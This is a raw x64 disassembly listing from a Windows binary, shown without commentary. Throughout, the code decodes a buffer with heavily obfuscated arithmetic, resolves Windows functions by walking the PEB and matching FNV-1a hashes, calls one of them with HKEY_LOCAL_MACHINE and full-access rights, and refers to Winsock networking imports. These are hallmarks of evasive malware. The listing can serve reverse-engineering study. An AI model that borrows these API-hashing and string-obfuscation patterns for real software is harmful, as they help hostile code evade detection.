mov byte [rbp + 0x573], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x574], 0x84
mov byte [rbp + 0x575], Ordinal_211
mov byte [rbp + 0x576], Ordinal_217
mov byte [rbp + 0x577], Ordinal_217
xor eax, eax
mov qword [rbp + 0x578], rax
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x30
jae 0x1401595bf
movzx r8d, byte [rbp + r9 + 0x550]
mov rdx, r8
cmp rdi, r9
ja 0x1401595b6
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140158a48
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x4e
jmp 0x140158a8c
je 0x140159535
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401594ae
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140159482
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140159437
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401593e7
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x1401595ad
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x140158ac1
movabs rdx, 0x918829b2f7c05816
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140158b02
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401593c6
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401593a3
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14015937d
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140159357
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140159335
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14015909f
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14015907e
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140159058
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x140159035
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x140159014
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x140158ff2
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140158fd0
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140158fbc
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x140158f9a
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x140158f74
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140158b0f
lea rdi, [r10 + 5]
lea r10, [rdi + 0x20]
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x14015958a
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x140159567
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140158d10
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x140158ced
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x140158cc7
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x140158f18
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x140158ebe
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x140158e6f
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x140158e44
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x140158b0f
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x140158e30
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x140158e0e
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x140158dec
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x140158dc6
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x140158da4
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x140158d90
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x140158d6d
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x140158d4a
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x140158d36
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x140158b0f
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 3]
jmp 0x140158b0f
movabs rdx, 0xcf7914021ebc2eaa
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140158b02
movabs rdx, 0x84a9100974daa02e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x42
add bl, dl
jmp 0x140158a8c
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140158a10
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_27
jmp 0x1401593d3
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x14015942c
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x14015942f
movabs rdx, 0xabd141adc05e153c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x140159023
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r14b
jmp 0x14015947d
movabs rdx, 0x163139bc6c9af844
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015949d
movabs rcx, 0xcb6135c3c2b969c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x1401594cf
movabs rcx, 0x809131cb18d7db4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x140159501
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x14015920e
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x36
mov byte [rbp + r9 + 0x550], bl
jmp 0x14015955f
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp r10, 9
jb 0x140158e62
movabs rcx, 0xe770ca89d7ef62b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x140159404
movabs rdx, 0x65191bf3727f4ba2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6e
add bl, dl
cmp rdi, 0x1000
jae 0x1401592dc
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x140159225
movabs rcx, 0xfb50a2d3351fd1dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x140158e90
movabs rcx, 0x1a4917fac89dbd26
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
lea rax, [r10 + rdi]
cmp rax, 0x80
je 0x140159307
lea rax, [r10 + 0x40]
cmp rdi, rax
jbe 0x14015916a
movabs rcx, 0x69c879203d5f79c6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6a
jmp 0x140158edc
movabs rdx, 0x6930fa31ce821084
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140159550
movabs rcx, 0x1e60f63924a08208
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x140159501
movabs rdx, 0xd390f2407abef38c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140159106
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x14015949d
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x14015947d
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_46
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401592fd
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x14015942f
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015942c
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x1401593e3
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x1401590c5
lea rdx, [r9 + r11]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140158f35
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401590f1
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x140159550
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14015911d
movabs rdx, 0xb8b05b574343cd24
mov ecx, esi
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401594cf
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140159149
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x14015949d
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140158f35
movabs rdx, 0x4e5063489706ea1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x14015938c
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140159199
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_27
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140159404
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401591c5
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x14015942c
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401591f2
movabs rdx, 0x95088902e4e5b3b6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140159453
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140158edc
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140159550
jne 0x14015924a
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x140159550
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140159274
movabs rdx, 0xdbc0aebd32c47d50
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x140159116
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140159291
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x140159366
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401592bb
movabs rdx, 0xbc30baa7306928c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5c
jmp 0x140159453
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x140158e90
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140159182
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0x550]
sub bl, al
sub bl, 0x50
add bl, dl
add bl, r8b
jmp 0x140159455
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x550]
add bl, dl
add bl, r8b
jmp 0x1401594cf
movabs rcx, 0x9d38457f9ceb3d7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x56
jmp 0x1401594cf
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015949d
movabs rdx, 0x7983d8e49282082
mov ecx, reloc.WS2_32.dll_gethostname
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015947d
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015942f
movabs rdx, 0xdc582daba1a1e692
mov ecx, r15d
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140159404
movabs rcx, 0x46b825ba4ddec99a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x36
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x550], cl
add r10, r15
sub r9, r15
jmp 0x14015955f
movabs rdx, 0x664819d0503a1e26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
add bl, dl
movabs rcx, 0xd7a8d07ed6c1b86e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, cl
add r8b, bl
sub r8b, sil
mov byte [rbp + r9 + 0x550], r8b
add rdi, r10
jmp 0x14015949d
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x42
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x14015955f
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea ebx, [rax + rax]
add bl, r8b
add bl, cl
movabs rdx, 0x2278d47780a346ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x66
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x550], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, cl
mov byte [rbp + r9 + 0x550], r8b
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x140159550
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x16
movzx eax, byte [rbp + r9 + 0x550]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1401589fd
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7a
jmp 0x1401589fa
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x16
jmp 0x1401589ea
lea r12, [rbp + 0x145e2f8]
jmp 0x1401595c6
lea r12, [rbp + 0x136aa36]
jmp 0x1401595c6
lea r12, [rbp + 0x550]
mov r10, qword [0x1404fc178]
test r10, r10
jne 0x140159736
mov esi, r13d
mov r14d, 0xeced0b92
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140159642
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140159635
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140159626
cmp edx, esi
jne 0x140159714
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140159714
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140159714
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140159696
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14015968b
cmp edx, r14d
je 0x1401596ac
test r10d, r10d
jne 0x140159676
jmp 0x140159714
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x140159729
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x140159729
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x140159707
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x1401596e3
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x1401596fa
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140159726
cmp qword [rbx + 0x30], r13
jne 0x1401595f6
mov r10, r13
mov qword [0x1404fc178], r10
mov r15d, 1
mov qword [rsp + 0x40], r13
lea rax, [0x1404fba68]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x1404fc118]
mov r12d, 8
test rdx, rdx
jne 0x1401598d3
mov esi, r13d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, r12w
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401597ec
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rdx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401597de
movsx eax, byte [rdx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x1401597cd
cmp r8d, esi
jne 0x1401598c4
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x1401598c4
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x1401598c4
mov edi, dword [r11 + 0x20]
dec ebx
lea r8, [rdi + rbx*4]
mov r9d, dword [r8 + r10]
add r9, r10
mov r8d, 0x811c9dc5
jmp 0x140159841
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r15
test dl, dl
jne 0x140159834
cmp r8d, r14d
je 0x140159856
test ebx, ebx
jne 0x14015981f
jmp 0x1401598c4
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x1401598cc
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x1401598cc
mov esi, 0x811c9dc5
mov r14d, esi
jmp 0x140159895
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140159887
jmp 0x1401598aa
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
test al, al
jne 0x14015989d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x14015979c
mov qword [0x1404fc118], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404fc158]
test rbx, rbx
jne 0x140159a4b
mov esi, r13d
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, r12w
mov word [rsp + 0x58], ax
test esi, esi
je 0x140159956
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140159949
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14015993a
cmp edx, esi
jne 0x140159a2f
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140159a2f
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140159a2f
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401599b0
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1401599a5
cmp edx, r14d
je 0x1401599c6
test r11d, r11d
jne 0x140159990
jmp 0x140159a29
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x140159a44
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x140159a44
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140159a08
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x1401599fa
jmp 0x140159a1d
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x140159a10
mov rbx, qword [r15]
mov r12d, 8
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140159a41
cmp qword [rbx + 0x30], r13
jne 0x14015990a
mov rbx, r13
mov qword [0x1404fc158], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404fc150]
test rdx, rdx
jne 0x140159bc3
mov esi, r13d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140159ad4
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140159ac7
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140159ab8
cmp edx, esi
jne 0x140159ba7
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140159ba7
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140159ba7
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140159b2e
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140159b23
cmp edx, r14d
je 0x140159b44
test r11d, r11d
jne 0x140159b0e
jmp 0x140159ba7
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140159bbc
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140159bbc
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140159b86
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140159b78
jmp 0x140159b9b
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140159b8e
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140159bb9
cmp qword [rbx + 0x30], r13
jne 0x140159a88
mov rdx, r13
mov qword [0x1404fc150], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc148]
test rdx, rdx
jne 0x140159d32
mov esi, r13d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140159c43
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140159c36
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140159c27
cmp edx, esi
jne 0x140159d16
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140159d16
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140159d16
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140159c9d
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140159c92
cmp edx, r14d
je 0x140159cb3
test r11d, r11d
jne 0x140159c7d
jmp 0x140159d16
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140159d2b
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140159d2b
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140159cf5
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140159ce7
jmp 0x140159d0a
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140159cfd
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140159d28
cmp qword [rbx + 0x30], r13
jne 0x140159bf7
mov rdx, r13
mov qword [0x1404fc148], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc140]
test rdx, rdx
jne 0x140159ea1
mov esi, r13d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
